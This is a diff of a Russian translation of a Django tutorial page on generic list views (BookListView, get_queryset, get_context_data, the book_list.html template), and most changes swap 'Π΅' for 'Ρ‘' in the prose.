+<p>ΠœΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ достаточно просто Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ списка ΠΊΠ½ΠΈΠ³ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ (Ρ‚Π°ΠΊΠΆΠ΅, ΠΊΠ°ΠΊ ΠΌΡ‹ сдСлали это для Π³Π»Π°Π²Π½ΠΎΠΉ страницы сайта), которая Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Π»Π° Π±Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ запрос получСния всСх ΠΊΠ½ΠΈΠ³ ΠΈΠ· Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…, Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒΒ  Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ  <code>render()</code>, Π² ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹ΠΉ список, Π² ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ шаблон страницы. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, вмСсто это ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ класс отобраТСния списка β€” класс, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ наслСдуСтся ΠΎΡ‚ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ отобраТСния (ListView). ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ класс ΡƒΠΆΠ΅ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ, ΠΈ слСдуя Π»ΡƒΡ‡ΡˆΠΈΠΌ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ°ΠΌ Django, ΠΌΡ‹ смоТСм ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ эффСктивный список ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ мСньшСго количСства ΠΊΠΎΠ΄Π°, мСньшСго количСства ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π΅Π½ΠΈΠΉ ΠΈ Π³ΠΎΡ€Π°Π·Π΄ΠΎ Π»ΡƒΡ‡ΡˆΠ΅ΠΉ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ.</p>
<p>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ <strong>catalog/views.py</strong> ΠΈ скопируйтС ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄, Π² ниТнюю Ρ‡Π°ΡΡ‚ΡŒ Π΄Π°Π½Π½ΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π°:</p>
@@ -69,10 +69,10 @@ urlpatterns = [
class BookListView(generic.ListView):
model = Book</pre>
-<p>Π­Ρ‚ΠΎ всё! ΠžΠ±ΠΎΠ±Ρ‰Π΅Π½Π½ΠΎΠ΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ запрос ΠΊ Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ всС записи Π·Π°Π΄Π°Π½Π½ΠΎΠΉ ΠΌΠΎΠ΄Π΅Π»ΠΈ (<code>Book</code>), Π·Π°Ρ‚Π΅ΠΌ ΠΎΡ‚Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΡ‚ (отрисуСт) ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ шаблон, располоТСнный Π² <strong>/locallibrary/catalog/templates/catalog/book_list.html</strong> (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ создадим ΠΏΠΎΠ·ΠΆΠ΅). Π’Π½ΡƒΡ‚Ρ€ΠΈ Π΄Π°Π½Π½ΠΎΠ³ΠΎ шаблона Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ списку ΠΊΠ½ΠΈΠ³ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ шаблона <code>object_list</code> Π˜Π›Π˜ <code>book_list</code> (Ссли ΠΎΠ±ΠΎΠ±Ρ‰ΠΈΡ‚ΡŒ, Ρ‚ΠΎ "<code><em>the_model_name</em>_list</code>").</p>
+<p>Π­Ρ‚ΠΎ всё! ΠžΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½ΠΎΠ΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ запрос ΠΊ Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ всС записи Π·Π°Π΄Π°Π½Π½ΠΎΠΉ ΠΌΠΎΠ΄Π΅Π»ΠΈ (<code>Book</code>), Π·Π°Ρ‚Π΅ΠΌ ΠΎΡ‚Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΡ‚ (отрисуСт) ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ шаблон, располоТСнный Π² <strong>/locallibrary/catalog/templates/catalog/book_list.html</strong> (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ создадим ΠΏΠΎΠ·ΠΆΠ΅). Π’Π½ΡƒΡ‚Ρ€ΠΈ Π΄Π°Π½Π½ΠΎΠ³ΠΎ шаблона Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ списку ΠΊΠ½ΠΈΠ³ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ шаблона <code>object_list</code> Π˜Π›Π˜ <code>book_list</code> (Ссли ΠΎΠ±ΠΎΠ±Ρ‰ΠΈΡ‚ΡŒ, Ρ‚ΠΎ "<code><em>the_model_name</em>_list</code>").</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π­Ρ‚ΠΎΡ‚, выглядящий странно, ΠΏΡƒΡ‚ΡŒ ΠΊ Ρ„Π°ΠΉΠ»Ρƒ шаблона Π½Π΅ являСтся ΠΎΠΏΠ΅Ρ‡Π°Ρ‚ΠΊΠΎΠΉ β€” ΠΎΠ±ΠΎΠ±Ρ‰Π΅Π½Π½ΠΎΠ΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈΡ‰Π΅Ρ‚ Ρ„Π°ΠΉΠ» шаблона <code>/<em>application_name</em>/<em>the_model_name</em>_list.html</code> (<code>catalog/book_list.html</code>, Π² Π΄Π°Π½Π½ΠΎΠΌ случаС) Π²Π½ΡƒΡ‚Ρ€ΠΈ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ прилоТСния <code>/<em>application_name</em>/templates/</code> (Ρƒ нас - <code>/catalog/templates/)</code>.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π­Ρ‚ΠΎΡ‚, выглядящий странно, ΠΏΡƒΡ‚ΡŒ ΠΊ Ρ„Π°ΠΉΠ»Ρƒ шаблона Π½Π΅ являСтся ΠΎΠΏΠ΅Ρ‡Π°Ρ‚ΠΊΠΎΠΉ β€” ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½ΠΎΠ΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈΡ‰Π΅Ρ‚ Ρ„Π°ΠΉΠ» шаблона <code>/<em>application_name</em>/<em>the_model_name</em>_list.html</code> (<code>catalog/book_list.html</code>, Π² Π΄Π°Π½Π½ΠΎΠΌ случаС) Π²Π½ΡƒΡ‚Ρ€ΠΈ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ прилоТСния <code>/<em>application_name</em>/templates/</code> (Ρƒ нас - <code>/catalog/templates/)</code>.</p>
</div>
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. НапримСр, Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ„Π°ΠΉΠ» шаблона, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ссли Π² вашСм распоряТСнии имССтся нСсколько ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ ΠΎΠ΄Π½Ρƒ ΠΈ Ρ‚Ρƒ ΠΆΠ΅ модСль, ΠΈΠ»ΠΈ Π²Π°ΠΌ ΠΏΠΎΠ·Π°Ρ€Π΅Π· Π·Π°Ρ…ΠΎΡ‚Π΅Π»ΠΎΡΡŒ Π±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΎΠ΅ имя ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ шаблона, Ссли <code>book_list</code> Π½Π΅ являСтся ΠΈΠ½Ρ‚ΡƒΠΈΡ‚ΠΈΠ²Π½ΠΎ понятным. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΌ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠΌ являСтся ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅/ΠΎΡ‚Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π° запроса ΠΊ Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ… β€” Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, вмСсто пСрСчислСния всСх ΠΊΠ½ΠΈΠ³ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ 5 Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ популярных.</p>
@@ -96,7 +96,7 @@ class BookListView(generic.ListView):
Β  Β  Β  Β  return Book.objects.filter(title__icontains='war')[:5] # ΠŸΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ 5 ΠΊΠ½ΠΈΠ³, содСрТащих 'war' Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅
</pre>
-<p>ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>get_context_data()</code> для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π² контСкстС (Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ контСкста) ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ ΡˆΠ°Π±Π»ΠΎΠ½Ρƒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, список ΠΊΠ½ΠΈΠ³ пСрСдаСтся ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ). Π€Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚, прСдставлСнный Π½ΠΈΠΆΠ΅, ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΊΠ°ΠΊ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ с ΠΈΠΌΠ΅Π½Π΅ΠΌ "some_data" Π² контСкст (Π·Π°Ρ‚Π΅ΠΌ ΠΎΠ½Π° Π±ΡƒΠ΄Π΅Ρ‚ доступна ΠΊΠ°ΠΊ пСрСмСнная шаблона).</p>
+<p>ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>get_context_data()</code> для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π² контСкстС (Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ контСкста) ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ ΡˆΠ°Π±Π»ΠΎΠ½Ρƒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, список ΠΊΠ½ΠΈΠ³ пСрСдаётся ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ). Π€Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚, прСдставлСнный Π½ΠΈΠΆΠ΅, ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΊΠ°ΠΊ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ с ΠΈΠΌΠ΅Π½Π΅ΠΌ "some_data" Π² контСкст (Π·Π°Ρ‚Π΅ΠΌ ΠΎΠ½Π° Π±ΡƒΠ΄Π΅Ρ‚ доступна ΠΊΠ°ΠΊ пСрСмСнная шаблона).</p>
<pre class="brush: python">class BookListView(generic.ListView):
model = Book
@@ -104,27 +104,27 @@ class BookListView(generic.ListView):
Β  Β  def get_context_data(self, **kwargs):
Β  Β  Β  Β  # Π’ ΠΏΠ΅Ρ€Π²ΡƒΡŽ ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ Π±Π°Π·ΠΎΠ²ΡƒΡŽ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ контСкста
Β  Β  Β  Β  context = super(BookListView, self).get_context_data(**kwargs)
-Β  Β  Β  Β  # ДобавляСм Π½ΠΎΠ²ΡƒΡŽ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ ΠΊ контСксту ΠΈ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΡƒΠ΅ΠΌ Π΅Π΅ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ
+Β  Β  Β  Β  # ДобавляСм Π½ΠΎΠ²ΡƒΡŽ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ ΠΊ контСксту ΠΈ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΡƒΠ΅ΠΌ Π΅Ρ‘ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ
Β  Β  Β  Β  context['some_data'] = 'This is just some data'
Β  Β  Β  Β  return context</pre>
-<p>Π’ процСссС выполнСния всСго этого Π²Π°ΠΆΠ½ΠΎ ΠΏΡ€ΠΈΠ΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ дСйствий:</p>
+<p>Π’ процСссС выполнСния всСго этого Π²Π°ΠΆΠ½ΠΎ ΠΏΡ€ΠΈΠ΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ дСйствий:</p>
<ul>
<li>Π’ ΠΏΠ΅Ρ€Π²ΡƒΡŽ ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ - ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ контСкст ΠΈΠ· нашСго супСркласса.</li>
<li>Π—Π°Ρ‚Π΅ΠΌ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π² контСкст Π½ΠΎΠ²ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ.</li>
- <li>Π—Π°Ρ‚Π΅ΠΌ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ (ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Π½Ρ‹ΠΉ) контСкст.</li>
+ <li>Π—Π°Ρ‚Π΅ΠΌ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ (ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½Π½Ρ‹ΠΉ) контСкст.</li>
</ul>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ΠŸΠΎΡΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ <a href="https://docs.djangoproject.com/en/1.10/topics/class-based-views/generic-display/">ВстроСнныС ΠΎΠ±ΠΎΠ±Ρ‰Π΅Π½Π½Ρ‹Π΅ классы отобраТСния</a> (Django docs) для ознакомлСния с большим количСством ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ΠŸΠΎΡΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ <a href="https://docs.djangoproject.com/en/1.10/topics/class-based-views/generic-display/">ВстроСнныС ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½Ρ‹Π΅ классы отобраТСния</a> (Django docs) для ознакомлСния с большим количСством ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ.</p>
</div>
<h3 id="Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_шаблона_ΠžΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡ_Бписка">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ шаблона ΠžΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡ Бписка</h3>
-<p>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ HTML-Ρ„Π°ΠΉΠ» <strong>/locallibrary/catalog/templates/catalog/book_list.html</strong> ΠΈ скопируйтС Π² Π½Π΅Π³ΠΎ тСкст, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅. Как Π±Ρ‹Π»ΠΎ ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½ΠΎ Ρ€Π°Π½Π΅Π΅, это Ρ„Π°ΠΉΠ» шаблона ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ "ΠΈΡΠΊΠ°Ρ‚ΡŒ" ΠΎΠ±ΠΎΠ±Ρ‰Π΅Π½Π½Ρ‹ΠΉ класс отобраТСния списка (для ΠΌΠΎΠ΄Π΅Π»ΠΈ с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>Book</code> Π² ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>catalog</code>).</p>
+<p>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ HTML-Ρ„Π°ΠΉΠ» <strong>/locallibrary/catalog/templates/catalog/book_list.html</strong> ΠΈ скопируйтС Π² Π½Π΅Π³ΠΎ тСкст, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅. Как Π±Ρ‹Π»ΠΎ ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½ΠΎ Ρ€Π°Π½Π΅Π΅, это Ρ„Π°ΠΉΠ» шаблона ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ "ΠΈΡΠΊΠ°Ρ‚ΡŒ" ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ класс отобраТСния списка (для ΠΌΠΎΠ΄Π΅Π»ΠΈ с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>Book</code> Π² ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>catalog</code>).</p>
-<p>Π¨Π°Π±Π»ΠΎΠ½Ρ‹ для ΠΎΠ±ΠΎΠ±Ρ‰Π΅Π½Π½Ρ‹Ρ… ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ Ρ‚Π°ΠΊΠΈΠ΅ ΠΆΠ΅ ΠΊΠ°ΠΊ всС ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ (хотя, СстСствСнно, ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹Π΅ Π² Π½ΠΈΡ… контСкст, ΠΈΠ»ΠΈ информация ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ). Π’Π°ΠΊ ΠΆΠ΅ ΠΊΠ°ΠΊ ΠΈ с нашим шаблоном для Π³Π»Π°Π²Π½ΠΎΠΉ страницы, Π² ΠΏΠ΅Ρ€Π²ΠΎΠΉ строкС ΠΌΡ‹ Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅ΠΌ наш Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ шаблон, Π° Π·Π°Ρ‚Π΅ΠΌ опрСдСляСм ΠΈ Π·Π°ΠΌΠ΅Ρ‰Π°Π΅ΠΌ Π±Π»ΠΎΠΊ с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>content</code>.</p>
+<p>Π¨Π°Π±Π»ΠΎΠ½Ρ‹ для ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½Ρ‹Ρ… ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ Ρ‚Π°ΠΊΠΈΠ΅ ΠΆΠ΅ ΠΊΠ°ΠΊ всС ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ (хотя, СстСствСнно, ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹Π΅ Π² Π½ΠΈΡ… контСкст, ΠΈΠ»ΠΈ информация ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ). Π’Π°ΠΊ ΠΆΠ΅ ΠΊΠ°ΠΊ ΠΈ с нашим шаблоном для Π³Π»Π°Π²Π½ΠΎΠΉ страницы, Π² ΠΏΠ΅Ρ€Π²ΠΎΠΉ строкС ΠΌΡ‹ Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅ΠΌ наш Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ шаблон, Π° Π·Π°Ρ‚Π΅ΠΌ опрСдСляСм ΠΈ Π·Π°ΠΌΠ΅Ρ‰Π°Π΅ΠΌ Π±Π»ΠΎΠΊ с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>content</code>.</p>
<pre class="brush: html">{% extends "base_generic.html" %}
@@ -146,7 +146,7 @@ class BookListView(generic.ListView):
Β  Β  <strong>{% endif %} </strong>
{% endblock %}</pre>
-<p>По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ контСкст (список ΠΊΠ½ΠΈΠ³) ΠΊΠ°ΠΊ <code>object_list</code> ΠΈ <code>book_list</code> (синонимы; ΠΎΠ±Π° Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π° Π±ΡƒΠ΄ΡƒΡ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ).</p>
+<p>По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ контСкст (список ΠΊΠ½ΠΈΠ³) ΠΊΠ°ΠΊ <code>object_list</code> ΠΈ <code>book_list</code> (синонимы; ΠΎΠ±Π° Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π° Π±ΡƒΠ΄ΡƒΡ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ).</p>
